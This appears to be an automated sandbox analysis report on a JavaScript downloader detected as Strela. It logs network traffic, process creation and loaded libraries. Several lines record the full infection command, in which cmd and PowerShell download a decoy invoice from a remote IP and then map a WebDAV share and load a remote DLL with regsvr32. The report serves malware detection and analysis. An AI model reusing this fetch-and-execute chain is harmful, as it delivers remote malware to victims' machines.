Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1752015814.000001A2550C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1752269870.000001A2550CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1858380531.000001FAAA7A4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1864941931.000001FAAA768000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1864941931.000001FAAA7A4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1858380531.000001FAAA7A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/0v-;#
Source: net.exe, 00000006.00000002.1864941931.000001FAAA768000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.3033366555.0000027BB6A14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1864458361.0000027BB6C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1864458361.0000027BB6C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1864458361.0000027BB6C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1864458361.0000027BB6C4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1864458361.0000027BB6CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1864458361.0000027BB6CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1864458361.0000027BB6CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6636, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1194187433219817322.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7148

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6808:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r0envij3.a1l.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1194187433219817322.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1194187433219817322.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1592,i,10059051693304301172,1905807202647789528,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1592,i,10059051693304301172,1905807202647789528,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
